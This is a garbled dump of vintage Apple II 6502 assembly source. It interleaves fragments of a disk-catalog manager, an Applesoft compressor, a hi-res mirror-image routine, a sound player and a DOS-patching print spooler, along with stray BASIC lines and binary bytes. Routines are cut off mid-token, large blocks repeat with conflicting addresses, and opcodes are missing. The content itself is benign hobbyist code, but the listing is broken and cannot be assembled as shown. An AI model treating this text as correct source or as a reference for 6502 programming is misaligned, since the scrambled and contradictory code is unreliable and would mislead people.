$AA72 #KYWRDFND $AA65KEYWRDS FOUND BYTE &DOCOMND $A186SUB TO DO DOS COMMAND COMND $AA5FDOS COMMAND )BLANKNAM $A095SUB TO BLANK NAME BUFFER VTAB $FC24VTAB ROUTINE !ROMULT $E2B8ROM MULTIPLY SUB  $B39CINDEX INTO DIRECTORY +DIRBGN $B4C6START OF DIRECTORY ENTRIES "RDVTOC $AFF7READ VTOC ROUTINE /NXTONE $B230SUB TO ADVANCE DIRECTORY INDEX $DOSNAME $AA75NAME BUFFER FOR DOS ; #VOL $AA66PARAMETERS FOR DOS DRIVE $AA68 SLOT XT POINTER HIMEM $E6 ; ; ; ROM AND DOS DEFINITIONS ; CROUT $FD8ECR-LF RDKEY $FD0CGET A KEYPRESS HOME $FC58GUESS WHAT ?!? GETLNZ $FD67GET INPUT LINE COUT $FDEDOUTPUT A CHAR #RDSCTR $B011READ A DISK SECTOR %DIRIDX CH $24HORZ CURSOR POSN NUMIDS $F0# OF DISK ID'S "FLDPTR $E9PTR TO FLDPOS TABLE MAXMY $E8MAXIMUM Y VALUE 'COUNT $F0# OF NAMES USED BY PRINT !NUMLINES $F2# OF LINES PRINTED $PRINTFLD $EATABLE OF PRINT FIELDS PRNTBUF $F4TE $F0SORT VARIABLES J $F2 : K $F4 : HPTR $F6 V VPTR $F8 H $FA V $FC 0FLDPOS $EAFIELD POSN TABLE (1,2,3) FOR SORT IDBUFFR $FEDISK ID BUFF PTR CV $25VERT CURSOR POSN 3SAVE BIT 0 AND 1 PRINTFLD,X "PRINTFLD,XCONVERT RANGE TO 0-2  #$03ANYMORE? <1 &^2 #$FFSET END OF PRINT FIELD PRINTFLD,XFLAG ; ; ; MAIN PRINT ROUTINE ; NUMBERSET NUMBER TO PRINT COUNT NUMBER+1 COUNT+1 #NAMEBUINV "5" $702 HOME #FLDMESPRINT FIELD ORDER /FLDMESMESSAGE PRINTMES GETLNZGET FIELD NUMBERS TEST FOR NULL INPUT >2 #$B5 $702 COMMAND ^2 #0MOVE FIELD NUMBERS ^1 INBUFF,X #$8DTEST FOR END >2 #$0312"  8D8D  "SORT FIELDS:"  8D & "1=DISK ID 2=FILE TYPE 3=FILE NAME"  8D00 ; ; ; MULTIPLY ROUTINE ; MULT $65MULTIPLY $64$64,$65 * $AD,$AE #$20 $AD #0 $AE ROMULT ; ; ; ROUTINE TO PRINT CATALOG ; PRINTCAT#$35PTR),Y  #$20 <1 H := H-MAX H MAX H H+1 MAX+1 H+1 NEXTJIF H<1 H H+1 NEXTJ NEXTV NEXTJ JJ=J+1 >1 J+1 ^1 TESTJKALWAYS ; NSORTMES "ENTER FIELDS TO SORT IN DECREASING ORDER OF IMPORTANCE EG POINTIDPOINT TO THE OTHER ^2 (BUFFER),Y (IDBUFFR),YCOMPARE THEM >1 NEXTJNO SWAP NEEDED SWAP ^1 MAXMY <2 NXTFLDTHEY WERE EQUAL SWAP #0SWAP THE RECORDS ^1 (HPTR),Y  (VPTR),Y (HPTR),Y  (VCOMPARE (VPTR),YDO NORMAL COMPARE >2 NEXTJDON'T SWAP THEM SWAP ^2 MAXMY <1 NXTFLDTHEY WERE EQUAL 'CMPRID (HPTR),YCOMPARE 2 DISK ID'S POINTIDPOINT TO 1st ID IDBUFFR BUFFER IDBUFFR+1 BUFFER (VPTR),Y FLDPTR FLDPTR #$03MAX OF THREE FIELDS NEXTJTEST FOR EOF FIELDS FLDPOS,Y NEXTJTEST FOR EOF FIELDS   FLDLEN,YGET THE FIELD LENGTH MAXMY SET AERO/NOTZERO FLAG CMPRIDCHECK FOR SPECIAL CASE &^1 (HPTR),YOF DISK ID PTR  /NAMEBUFR HPTR+1 V+1FIND LOC'N OF Vth ELEMENT V #0REDUCE V TO A RANGE OF >10 TO NUMBER-1  ^1 MULT   #NAMEBUFR VPTR  /NAMEBUFR VPTR+1 #$FFINITIALISE SORT FIELD FLDPTRPOINTER NXTFLD K+1 TESTJK KCOMPARE K TO J J K+1 J+1 NXTMAX JH ;= J H J+1 H+1 NEXTV V := H+MAX H MAX V H+1 MAX+1 V+1 H+1FIND LOC'N OF Hth ELEMENT H #0 >1  ^1 MULT   #NAMEBUFR HNUMBER+1 MAX+1 NXTMAX MAX+1MAX := MAX/2 MAX MAXTEST FOR MAX= 0 MAX+1 >1 ^3 #$B4NORM "4" $682 COMMANDEND IF MAX= 0 ^1 #1J := 1 J #0 J+1  K:= NUMBER-MAX NUMBER MAX K NUMBER+1 MAX+1 GETLNZGET THE SORT FIELDS  >3 #0 (^1 INBUFF,YMOVE THE SORT FIELDS #$8D SORT #$03STRIP SORT FIELDS TO A FLDPOS,YRANGE OF 1-3  #$03 <1 #SORT #0PUT A FLAG AT THE END FLDPOS,Y NUMBER MAX := NUMBER MAX T #1 DRIVE #NUMBERSET STARTING ADDRESS ADDR /NUMBER ADDR+1 ^3 ,GETMESS "INSERT DISK, AND ENTER FILENAME" 8D8D00 ; ; ; SORT ROUTINE ; SORTCAT #$34INV "4" $682 HOME #SORTMES /SORTMES PRINTMES %^2 NAME #GETMESS /GETMESS PRINTMES ^2 GETLNZGET FILENAME  >3 !BLANKNAMBLANK FILENAME BUFFER #0MOVE FILENAME TO BUFFER ^1 INBUFF,Y #$8D SETPARMS DOSNAME,Y  <1 SETPARMS#0SET PARAMETERS VOL #6 SLORRMESSPRINT MESSAGE /ERRMESS PRINTMES RDKEYWAIT FOR KEYPRESS $602CHECK TO SEE IF WE WERE #$33READING OR WRITING <1AND <2RETURN 3ERRMESS "DISK ERROR, PRESS ANY KEY TO CONTINUE" 87878D00 ; ; ; GET DISK AND FILENAME ; GETD CATALOG FILE ; READCAT #$33INV "3" $602 HOME GETNAMEGET FILENAME  >1 #0 KYWRDFND #50BLOAD COMMAND COMND DOCOMNDDO IT ^1 #$B3NORM "3" $602 COMMAND ; ; ; ROUTINE TO HANDLE DISK ERRORS ; !DISKERR #E' AND 'L' PARAMETERS NUMBERSET LENGTH PARAMETER #NUMBER+1GET LENGTH OF NAME AREA MULT   "#$03ADD LENGTH OF # OF ENTRIES LEN  #$02 LEN+1 DOCOMNDAND DO IT! ^2 #$B2NORM "2" $582 COMMAND ; ; ; ROUTINE TO REA1.; %%%%%%%%%%%%%%%%%%%% ; % % ; % MASTER DIRECTORY % ; % % ; %%%%%%%%%%%%%%%%%%%% ; ; ; ZERO PAGE EQUATES ; #BUFFER $EEDIRECTORY BUFFER PTR !WINTOP $22TOP OF TEXT WINDOW PROMPT $33INPUT PROMPT MAX               YPE LENGTH  1EFILE NAME LENGTH ; ; END KS "  8D  " 2) SAVE CATALOG "  8D  "ENTER THE NUMBER "  8D  " 3) READ CATALOG "  8D  " 4) SORT CATALOG "  "OF YOUR CHOICE. "  8D  " 5) PRINT CATALOG"  8D " 6) END"  8D00 FLDLEN 08DISK ID LENGTH  01FILE T VTAB #0 CH #"#" #38 ^1 COUT  <1 #08 ^1 #39 CH COUT COUT  <1 #38 ^1 COUT  <1 #$0CSET THE TEXT WINDOW DOWN !WINTOPTO PROTECT THE MENU BOX  MENUTEXT 8D8D  " 1) CATALOG DISHOMEPRINT THE MENU BOX #1 MAXFILESSET MAXFIOLES=1 #$60 $A851PATCH DOS $9EE0" " #$4C $A6EF #DISKERR $A6F0 /DISKERR $A6F1 SETIN0 SETOUT0 #MENUTEXT /MENUTEXT PRINTMES BOX #0FRAME THE MENU CVFFRGIVEN A AS AN INDEX #0TO THE ID TABLE 'IDBUFFR+1POINT TO THE CORRECT PLACE #0BY MULTIPLYING BY 8 ^1 IDBUFFR IDBUFFR+1  #$03 <1  IDBUFFR #IDBUFFR IDBUFFR IDBUFFR+1 /IDBUFFR IDBUFFR+1  ; "MENU MTITLE " FILE NAME "  00 $TITLEL IDTITLE,TYPTITLE,NAMTITLE $TITLEH IDTITLE,TYPTITLE,NAMTITLE ; ; ; TEXT PRINTER ; PRINTMESPRNTBUF PRNTBUF+1 #0 ^1 (PRNTBUF),Y >2 COUT  <1 ^2 ; &POINTID IDBULASTX $04 NEWPTR $02 IFFLAG $01 ERRORS $00 LSTEOS $0A OLDEOP $08 LINNUM $50 TXTTAB $67 EARS $6D ARS $6B LOMEM $69 HIMEM $73 LSTLIN $9B EPROG $AF TXTPTR $B8 LN2 $FC LN1 $FA TER #$B5NORM "5" $702 COMMAND ^1 NUMLINES INCREMENT BUFFER POINTER BUFFERPOINT TO NEXT ENTRY #$20 BUFFER >1 BUFFER+1 %^1 NUMLINESHAVE WE PRINTED A #MAXLINEPAGEFUL YET ? >2 NEXTLINENO SO CONTINUE ^2 t Subroutines ; --------------------- ; FNDLIN $D61A STXTPT $D697 LINGET $DA0C CRDO $DAFB STROUT $DB3A LINPRT $ED24 CHRGOT $B7 CHRGET $B1 ; ; Zero Page Locations ; ------------------- ; MAXX $07 OLDBEG $05 ; ************************* ; *  * ; * COMPRESS * ; * * ; * APPLESOFT COMPRESSION * ; * PROGRAM * ; * * ; ************************* ; ; ; Applesof           $03ARE WE AT THE END? %TESTENDYES , SO DO OTHER CHECKING FLDPOS,Y -TESTENDOR IF THERE ARE LESS THEN 3 FIELDS  FLDLEN,YGET THE LENGTH OF MAXMYTHE FIELD TO PRINT #$0C %PRINTIDARE WE PRINTING A DISK ID? #01 PRNTTYPEOR IS IT ATLEH,XGET ADDRESS OF TITLE TITLEL,X  PRINTMESAND PRINT IT #" " COUTAND A SPACE GET SAVED POSITION   #$03NEXT TITLE <2 ^1 CROUT NEXTLINECROUT #$FFINIT FIELD POINTER FLDPTR NEXTFLD FLDPTR FLDPTR #FRINIT BUFFER PTRS BUFFER /NAMEBUFR BUFFER+1 #01TURN ON PRINTER (PR#1) SETOUT %PAGE #02SET # OF LINES PRINTED NUMLINES #$0PRINT TITLES #^2 PRINTFLD,YWHICH TITLE ? >1IF NO MORE FIELDS REMEMBER POSITION  TIAND ENTER ID"  8D  "PRESS RETURN TO EXIT"  8D00 ; ; "; ROUTINE TO SAVE CATALOG TO DISK ; SAVECAT #$32INV "2" $582 HOME GETNAMEGET FILENAME  >2 #48BAVE COMMAND COMND ##$09SET KEYWORDS FOUND BITS TOO 'KYWRDFNDSHOW 'A # OF ID'S NUMIDSPOINT TO FREE AREA POINTID !#0MOVE DISK ID TO IT'S BUFFER ^2 INBUFF,Y #$8DTEST FOR EOLN >1 (IDBUFFR),Y  #$08TEST FOR EOF ID <2 ,^1 #$01TEST FOR NO ID (CR 1st CHAR)  &IDTBL "INSERT DISK, "OUT OF MEMORY!" 878D00 *NXTENT NXTONEPOINT TO NEXT FILE ENTRY %RDSECTNO MORE DO READ NEXT SECTOR NXTNAMMORE IN THIS SECTOR ; ; ; ROUTINE TO GET DISK ID ; GETID #IDTBLREQUEST ID /IDTBL PRINTMES GETLNZGET ID NUMIDSINC NUMBER+1 %^2 INCREMENT BUFFER POINTERS BUFFER #$20 BUFFER >1 BUFFER+1 )^1 BUFFERCHACK FOR OUT OF MEMORY HIMEM BUFFER+1 HIMEM+1 NXTENT #OUTBLYES WE ARE /OUTBL PRINTMES RDKEY <4 OUTBL 8787 ECTORY !NXTENTCHACK FOR DELETED ENTRY #0 NUMIDSGET DISK ID NUMBER (BUFFER),YSTORE IT WITH NAME ADVANCE PTR TO FILE TYPE ^1 MOVE FIMENAME & TYPE  DIRBGN,X (BUFFER),Y #$1F <1 "NUMBERINCREMENT NO. OF ENTRIES >2 TERED ^4 #$B1NORM "1" $502 COMMAND ^1 RDVTOCREAD VTOC SET TO READ 1ST SECTOR RDSECT RDSCTRAND READ IT NEXTDISK #0 "NXTNAM DIRIDXRESET DIR. INDEX &DIRBGN,XGET 1ST BYTE OF THIS ENTRY #NEXTDISKCHECK FOR EOF DIRNUMBER+1 #NAMEBUFRSET BUFFER PTRS BUFFER /NAMEBUFR BUFFER+1 #$FF NUMIDS0 NO. OF DISK ID'S #$A0BLANK DISK ID BUFFER #0 ^1 IDBUFR,Y IDBUFR+$100,Y  <1 NEXTDISKHOME GETIDGET ID FOR DISK >1BRANCH WHEN ID ENDOW WINTOP HOME #$A5 $A851RESTORE NORMAL DOS #$A2 $9EE0 #$20 $A6EF #$51 $A6F0 #$A8 $A6F1 $3D3COLD-START DOS ; ; ; ROUTINE TO READ CATALOG ; SCANDISK#$31INV "1" $502 #0 NUMBER0 NO. OF FILE NAMES NE DESIRED SUB & JMP TO IT #">" COUT RDKEY #"1" >1 SCANDISK ^1 #"2" >2 SAVECAT ^2 #"3" >3 READCAT ^3 #"4" >4 SORTCAT ^4 #"5" >5 PRINTCAT ^5 #"6" COMMAND #0SET FULL WINNBUFF $200INPUT BUFFER %MAXLINE 65# OF LINES/PRINTED PAGE ; ; ; ; ** MAIN PROGRAM ** ; MENUSET UP THE SCREEN )SET HIMEM TO POINT BELOW ACTUAL HIMEM $73 #$20 HIMEM $74 #0 HIMEM+1 #">" PROMPT 1COMMAND HOMEDETERMIMAXFILES $A258MAXFILES SUB SETIN0 $FE89DO IN#0 SETOUT0 $FE93DO PR#0 SETOUT $FE95DO PR#SLOT ; ; ; WORKING DEFINITIONS ; IDBUFR $EF0DISK ID BUFFER *NUMBER IDBUFR-2# OF ENTRIES IN BUFFER (NAMEBUFR IDBUFR+$200FILE NAMES BUFFER I $AA6A LEN $AA6C ADDR $AA72 #KYWRDFND $AA65KEYWRDS FOUND BYTE &DOCOMND $A186SUB TO DO DOS COMMAND COMND $AA5FDOS COMMAND )BLANKNAM $A095SUB TO BLANK NAME BUFFER VTAB $FC24VTAB ROUTINE !ROMULT $E2B8ROM MULTIPLY SUB  $B39CINDEX INTO DIRECTORY +DIRBGN $B4C6START OF DIRECTORY ENTRIES "RDVTOC $B4C6READ VTOC ROUTINE /NXTONE $B230SUB TO ADVANCE DIRECTORY INDEX $DOSNAME $AA75NAME BUFFER FOR DOS ; #VOL $AA66PARAMETERS FOR DOS DRIVE $AA68 SLOT XT POINTER HIMEM $E6 ; ; ; ROM AND DOS DEFINITIONS ; CROUT $FD8ECR-LF RDKEY $FD0CGET A KEYPRESS HOME $FC58GUESS WHAT ?!? GETLNZ $FD67GET INPUT LINE COUT $FDEDOUTPUT A CHAR #RDSCTR $B011READ A DISK SECTOR %DIRIDX CH $24HORZ CURSOR POSN NUMIDS $F0# OF DISK ID'S "FLDPTR $E9PTR TO FLDPOS TABLE MAXMY $E8MAXIMUM Y VALUE 'COUNT $F0# OF NAMES USED BY PRINT !NUMLINES $F2# OF LINES PRINTED $PRINTFLD $EATABLE OF PRINT FIELDS PRNTBUF $E4TE $F0SORT VARIABLES J $F2 : K $F4 : HPTR $F6 V VPTR $F8 H $FA V $FC 0FLDPOS $EAFIELD POSN TABLE (1,2,3) FOR SORT IDBUFFR $FEDISK ID BUFF PTR CV $25VERT CURSOR POSN 3SAVE BIT 0 AND 1 PRINTFLD,X "PRINTFLD,XCONVERT RANGE TO 0-2  #$03ANYMORE? <1 &^2 #$FFSET END OF PRINT FIELD PRINTFLD,XFLAG ; ; ; MAIN PRINT ROUTINE ; NUMBERSET NUMBER TO PRINT COUNT NUMBER+1 COUNT+1 #NAMEBUINV "5" $702 HOME #FLDMESPRINT FIELD ORDER /FLDMESMESSAGE PRINTMES GETLNZGET FIELD NUMBERS TEST FOR NULL INPUT >2 #$B5 $702 COMMAND ^2 #0MOVE FIELD NUMBERS ^1 INBUFF,X #$8DTEST FOR END >2 #$0312"  8D8D  "SORT FIELDS:"  8D & "1=DISK ID 2=FILE TYPE 3=FILE NAME"  8D00 ; ; ; MULTIPLY ROUTINE ; MULT $65MULTIPLY $64$64,$65 * $AD,$AE #$20 $AD #0 $AE ROMULT ; ; ; ROUTINE TO PRINT CATALOG ; PRINTCAT#$35PTR),Y  #$20 <1 H := H-MAX H MAX H H+1 MAX+1 H+1 NEXTJIF H<1 H H+1 NEXTJ NEXTV NEXTJ JJ=J+1 >1 J+1 ^1 TESTJKALWAYS ; NSORTMES "ENTER FIELDS TO SORT IN DECREASING ORDER OF IMPORTANCE EG POINTIDPOINT TO THE OTHER ^2 (BUFFER),Y (IDBUFFR),YCOMPARE THEM >1 NEXTJNO SWAP NEEDED SWAP ^1 MAXMY <2 NXTFLDTHEY WERE EQUAL SWAP #0SWAP THE RECORDS ^1 (HPTR),Y  (VPTR),Y (HPTR),Y  (VCOMPARE (VPTR),YDO NORMAL COMPARE >2 NEXTJDON'T SWAP THEM SWAP ^2 MAXMY <1 NXTFLDTHEY WERE EQUAL 'CMPRID (HPTR),YCOMPARE 2 DISK ID'S POINTIDPOINT TO 1st ID IDBUFFR BUFFER IDBUFFR+1 BUFFER (VPTR),Y FLDPTR FLDPTR #$03MAX OF THREE FIELDS NEXTJTEST FOR EOF FIELDS FLDPOS,Y NEXTJTEST FOR EOF FIELDS   FLDLEN,YGET THE FIELD LENGTH MAXMY SET AERO/NOTZERO FLAG CMPRIDCHECK FOR SPECIAL CASE &^1 (HPTR),YOF DISK ID PTR  /NAMEBUFR HPTR+1 V+1FIND LOC'N OF Vth ELEMENT V #0REDUCE V TO A RANGE OF >10 TO NUMBER-1  ^1 MULT   #NAMEBUFR VPTR  /NAMEBUFR VPTR+1 #$FFINITIALISE SORT FIELD FLDPTRPOINTER NXTFLD K+1 TESTJK KCOMPARE K TO J J K+1 J+1 NXTMAX JH ;= J H J+1 H+1 NEXTV V := H+MAX H MAX V H+1 MAX+1 V+1 H+1FIND LOC'N OF Hth ELEMENT H #0 >1  ^1 MULT   #NAMEBUFR HNUMBER+1 MAX+1 NXTMAX MAX+1MAX := MAX/2 MAX MAXTEST FOR MAX= 0 MAX+1 >1 ^3 #$B4NORM "4" $682 COMMANDEND IF MAX= 0 ^1 #1J := 1 J #0 J+1  K:= NUMBER-MAX NUMBER MAX K NUMBER+1 MAX+1 GETLNZGET THE SORT FIELDS  >3 #0 (^1 INBUFF,YMOVE THE SORT FIELDS #$8D SORT #$03STRIP SORT FIELDS TO A FLDPOS,YRANGE OF 1-3  #$03 <1 #SORT #0PUT A FLAG AT THE END FLDPOS,Y NUMBER MAX := NUMBER MAX T #1 DRIVE #NUMBERSET STARTING ADDRESS ADDR /NUMBER ADDR+1 ^3 ,GETMESS "INSERT DISK, AND ENTER FILENAME" 8D8D00 ; ; ; SORT ROUTINE ; SORTCAT #$34INV "4" $682 HOME #SORTMES /SORTMES PRINTMES %^2 NAME #GETMESS /GETMESS PRINTMES ^2 GETLNZGET FILENAME  >3 !BLANKNAMBLANK FILENAME BUFFER #0MOVE FILENAME TO BUFFER ^1 INBUFF,Y #$8D SETPARMS DOSNAME,Y  <1 SETPARMS#0SET PARAMETERS VOL #6 SLORRMESSPRINT MESSAGE /ERRMESS PRINTMES RDKEYWAIT FOR KEYPRESS $602CHECK TO SEE IF WE WERE #$33READING OR WRITING <1AND <2RETURN 3ERRMESS "DISK ERROR, PRESS ANY KEY TO CONTINUE" 87878D00 ; ; ; GET DISK AND FILENAME ; GETD CATALOG FILE ; READCAT #$33INV "3" $602 HOME GETNAMEGET FILENAME  >1 #0 KYWRDFND #50BLOAD COMMAND COMND DOCOMNDDO IT ^1 #$B3NORM "3" $602 COMMAND ; ; ; ROUTINE TO HANDLE DISK ERRORS ; !DISKERR #E' AND 'L' PARAMETERS NUMBERSET LENGTH PARAMETER #NUMBER+1GET LENGTH OF NAME AREA MULT   "#$03ADD LENGTH OF # OF ENTRIES LEN  #$02 LEN+1 DOCOMNDAND DO IT! ^2 #$B2NORM "2" $5B2 COMMAND ; ; ; ROUTINE TO REAp;*************************** ;* * ;* MIRROR IMAGE * ;* * ;* THIS PROGRAM CONSTRUCTS * ;* A MIRROR IMAGE OF A * ;* HI-RES PAGE * ;* * ;**********     PE LENGTH  1EFILE NAME LENGTH ; ; END S "  8D  " 2) SAVE CATALOG "  8D  "ENTER THE NUMBER "  8D  " 3) READ CATALOG "  8D  " 4) SORT CATALOG "  "OF YOUR CHOICE. "  8D  " 5) PRINT CATALOG"  8D " 6) END"  8D00 FLDLEN 08DISK ID LENGTH  01FILE TYVTAB #0 CH #"#" #38 ^1 COUT  <1 #08 ^1 #39 CH COUT COUT  <1 #38 ^1 COUT  <1 #$0CSET THE TEXT WINDOW DOWN !WINTOPTO PROTECT THE MENU BOX  MENUTEXT 8D8D  " 1) CATALOG DISKOMEPRINT THE MENU BOX #1 MAXFILESSET MAXFIOLES=1 #$60 $A851PATCH DOS $9EE0" " #$4C $A6EF #DISKERR $A6F0 /DISKERR $A6F1 SETIN0 SETOUT0 #MENUTEXT /MENUTEXT PRINTMES BOX #0FRAME THE MENU CV FRGIVEN A AS AN INDEX #0TO THE ID TABLE 'IDBUFFR+1POINT TO THE CORRECT PLACE #0BY MULTIPLYING BY 8 ^1 IDBUFFR IDBUFFR+1  #$03 <1  IDBUFFR #IDBUFFR IDBUFFR IDBUFFR+1 /IDBUFFR IDBUFFR+1  ; "MENU HTITLE " FILE NAME "  00 $TITLEL IDTITLE,TYPTITLE,NAMTITLE $TITLEH IDTITLE,TYPTITLE,NAMTITLE ; ; ; TEXT PRINTER ; PRINTMESPRNTBUF PRNTBUF+1 #0 ^1 (PRNTBUF),Y >2 COUT  <1 ^2 ; &POINTID IDBUF #$0CYES SO --> COUTFORM FEED PAGE ; FILETYPE "TIABSRAL" 1FLDMES "ENTER THE FIELDS TO PRINT EG 213"  8D  "FIELN NUMBERS:"  8D $ "1=DISK ID 2=FILETYPE 3=FILENAME"  8D00 IDTITLE "DISK ID"  00 TYPTITLE "TYPE"  00 &NAMTER #$B5NORM "5" $702 COMMAND ^1 NUMLINES INCREMENT BUFFER POINTER BUFFERPOINT TO NEXT ENTRY #$20 BUFFER >1 BUFFER+1 %^1 NUMLINESHAVE WE PRINTED A #MAXLINEPAGEFUL YET ? >2 NEXTLINENO SO CONTINUE ^2 >1  <2 ^1 FILETYPE,Y COUT #" " COUT COUT NEXTFLD ,TESTEND COUNTTEST FOR EOF NAMES AND PAGE >1 COUNT+1COUNT=COUNT-1 ^1 COUNT COUNT COUNT+1 #$FF >1THERE ARE MORE SO CONTINUE SETOUT0TURN OFF PRINCOUT NEXTFLD PRNTTYPE#" "PRINT TYPE HERE COUTTHIS SECTION OF CODE IS #" "BORROWED FROM DOS.PRINT *(BUFFER),YAN '*' IF THE FILE IS LOCKED >1 #"*" ^1 COUT !(BUFFER),YPRINT THE FILE TYPR #$7F #7  ^2  FILE TYPE *^1 (BUFFER),YPRINT FILE NAME HERE COUT  MAXMY <1 #" " COUT NEXTFLDCHECK FOR THE NEXT (PRINTID (BUFFER),YPRINT DISK ID HERE POINTIDPOINT TO THE ID ^1 (IDBUFFR),Y COUT  MAXMY <1 #" " $03ARE WE AT THE END? %TESTENDYES , SO DO OTHER CHECKING FLDPOS,Y -TESTENDOR IF THERE ARE LESS THEN 3 FIELDS  FLDLEN,YGET THE LENGTH OF MAXMYTHE FIELD TO PRINT #$0C %PRINTIDARE WE PRINTING A DISK ID? #01 PRNTTYPEOR IS IT ATLEH,XGET ADDRESS OF TITLE TITLEL,X  PRINTMESAND PRINT IT #" " COUTAND A SPACE GET SAVED POSITION   #$03NEXT TITLE <2 ^1 CROUT NEXTLINECROUT #$FFINIT FIELD POINTER FLDPTR NEXTFLD FLDPTR FLDPTR #FRINIT BUFFER PTRS BUFFER /NAMEBUFR BUFFER+1 #01TURN ON PRINTER (PR#1) SETOUT %PAGE #02SET # OF LINES PRINTED NUMLINES #$0PRINT TITLES #^2 PRINTFLD,YWHICH TITLE ? >1IF NO MORE FIELDS REMEMBER POSITION  TI COMBYTESTORE OVERALL PITCH OPITCH COMBYTESTORE NO. REPETITIONS REP COMBYTESTORE TONE LENGTHS TLEN )#$64CALCULATE HI BYTE OF THE ADDRESS " OF THE BEGINNING OF THE SOUND INCADD SNUM INCADD $324CORRECT STSOUND $3; SOUND READER ; ----- ------ ; ;  $300  $800 ; ; SNUM $6 OPITCH $7 REP $8 TLEN $9 TNUM $1C TNUM2 $1B TLEN2 $1A STSOUND $FF00 COMBYTE $E74C SPKR $C030 ; ; COMBYTESTORE SOUND NO. SNUM o L L L L d$?a 0LJLMLPLSLVLYL\L_`2G":120:144nJxI1(HEX$):511I,((HEX$,I,1))128:I:72,0:KYPHEX$"ADA4:2C N ADA8:A9 13 85 24 EA EA N ADC3:20 8E FD 20 8E FD N D7D2G":120:144ZHEX$"AE2F:EA CE 9D B3 D0 08 20 0C FD A9 2C 8D 9D B3 A2 02 4C DF BC N D7D2G":120:144dHEX$"BCDF:20 4A F9 A2 8D AD 9D B3 6A 90 02 A2 A0 8A 20 ED FD 60 N D7DEMP #$02 TEMP  BIT7 $0F FIN  TEMP #$01 TEMP  FIN TEMP   FINISH  BIT2 $0A BIT3  TEMP #$20 TEMP  BIT3 $0B BIT4  TEMP #$10 TEMP  BIT4 $0C BIT5  TEMP #$08 TEMP  BIT5 $0D BIT6  TEMP #$04 TEMP  BIT6 $0E BIT7  TEND  CALCALWAYS ; ; *THE END* ; END ; ; ; ; FLIP A BYTE 180 DEGREES ; AND THEN SHIFT IT RIGHT ; FLIP #$00 TEMP BIT0 $08 BIT1  TEMP #$80 TEMP  BIT1 $09 BIT2  TEMP #$40 TEMPES ;  BASEL #$08 BASEL BASEH #$00 BASEH ; ; RESET CNT2 ; #$03 CNT2 ; ; ADJUST BASE TO ; NEXT SCREEN LINE ; ADJBASE BASEL #$28 BASEL BASEH #$00 BASEH ; ; FINISHED YET? ; BASEH #$40 #$00 STARTH ; ; SUBTRACT 1 FROM END ;  ENDL #$01 ENDL ENDH #$00 ENDH  ; ; CNT1=CNT1-1 ; CNT1 SWITCH ; ; RESET CNT1=20 ; #$14 CNT1 ; ; CNT2=CNT2-1 ; CNT2 ADJBASE ; ; SKIP THE NEXT 8 BYTSTARTH  BASEL #$27 ENDL BASEH #$00 ENDH ; ; SWITCH AND FLIP BYTES ; SWITCH #$00 (STARTL,X) FLIP  (ENDL,X) FLIP (STARTL,X)  (ENDL,X) ; ; ADD 1 TO START ;  STARTL #$01 STARTL STARTH 02 $09 #04 $0A #08 $0B #$10 $0C #$20 $0D #$40 $0E #$80 $0F ; ; INITIALISE ; #00 BASEL #$20 BASEH #$14 CNT1 #03 CNT2 ; ; CALCULATE START AND END ; CALC BASEL STARTL BASEH ***************** ;  $6000  $800 ; ; STARTL $00 STARTH $01 ENDL $02 ENDH $03 BASEL $04 BASEH $05 CNT1 $06 CNT2 $07 TEMP $10 ; ; SET UP TABLE FOR ; MIRROR SUBROUTINE ; BEGIN #01 $08 #4C JMP PTCHPNT3  COUNT #SPLBEGIN PTCHPNT3+1 COUNT+1 /SPLBEGIN PTCHPNT3+2 #$EA NOP PTCHPNT3+3 ; ; Modify all calls to the ; print subroutine ;  COUNT #PNT1BEGN PRNT1+1 PRNT2+1 PRNT3+1 COUNT+1 /PNT1GN PTCHPNT2+4 COUNT+1 /PNT2BEGN PTCHPNT2+5 ; ; Patch the DOS state 2 output ; handler so we can caputure ; output bound for the printer ; (state 2 handles output which !; is not being written to a file ; and is not a DOS command) ; #$ /PNTBEGIN PTCHPNT1+2 ; #; Patch the BASIC character fetch ; routine so that we can print ; while BASIC is running ; #$20 PTCHPNT2 #$F0 BEQ PTCHPNT2+1 #$F3 PTCHPNT2+2 #$4C JMP PTCHPNT2+3  COUNT #PNT2BEat which the ; relocated program will run. ;  HIMEM+1 #3 COUNT+1 HIMEM COUNT ; #; Patch the DOS keyboard intercept ; routine so we can print while ; waiting for keybouaard input ;  COUNT #PNTBEGIN PTCHPNT1+1 COUNT+1 OOLER run ; at any location, the loader ; must calculate some addresses ; and modify DOS accordingly. ; ; ----------------------------- ; ; Get HIMEM and modify program ; to run $300 below it - use !; COUNT as temporary storage for ; the address 8 ; BCKSPC $88 LFEED $8A RETURN $8D CTRLQ $91 SPACE $A0 ; ;  $6000  $800 ; ; ---------------------------- ; This is a loader program ; which modifies DOS and ; initialises the spooler ; program. ; ; In order to let SPB3 REGRST $9FBA STATE $AA52 AREG $AA5C KBD $C000 RAMOFF $C082 WRTRAM $C081 RDRAM $C084 PRDATA $C091 PRINIT $C100 PRSTATUS $C1C1 BUFSTART $D000 RSHM $F28C MOVE $FE2C SETVID $FE93 IORTS $FF5$00 LAG LEAD+2 CH $24 CSWL $36 A1L $3C A2L $3E A4L $42 LINNUM $50 HIMEM $73 PTCHPNT2 $BB STACK $100 RSTVEC $3F2 DOSWRM $9DBF PTCHPNT1 $9EAB PTCHPNT3 $9F23 ECHO $9FA4 DOSEXIT $9F; ************************* ; * * ; * SPOOLER * ; *  * ; * A SOFTWARE PRINT * ; * BUFFER SYSTEM * ; * * ; ************************* ; ; LEAD      L^` 08`ŵȭ˵B̵CBõBĵCൠBõĵµ µ,­µ ˵̵ 2õĵ 2ĵµ µLꢍ񷬿ɵBʵCBȱB +ɵBʵCBȱBɵʵ `I뷩詷   X<>0,CONTINUE PAUSE TLEN2 $SAMEPNIF TLEN2<>0,SAME PITCH NO.  TNUM2 $NEXTPNIF TNUM2<>0,NEXT PITCH NO. REP !REPEATIF REP <>0,REPEAT SOUND  END STSOUND,YLOAD X WITH A PITCH NO. FROM SOUNDFILE  DECPIT SPKRCLICK SPEAKER J1PAUSE BETWEEN CLICKS J1 J2 J2 J3 J3 J4 J4 J5 J5 J6 J6 J7 J7 DECPIT DECPIT )BRANCH BRANCH IF 3F $STSOUNDGET SLEN FROM SOUND FILE TNUM ##$0CALCULATE & CORRECT 'BRANCH' +CHBR BASED ON THE VALUE OF THE PITCH   OPITCH CHBR $361 ; ; SOUND PRODUCING LOOP ; REPEAT #$1 TNUM TNUM2 NEXTPN TLEN TLEN2 (SAMEPNe 0 ; #RETURN STORIT ; If we don't need a tab, just ; clear the tab flag, then get ; the character and store it ; NOTAB TABFLG AREG STOR2 STORIT CHKCR ; ; If we have printed up to the ; width of the page, send CR ; and LF, but do not set 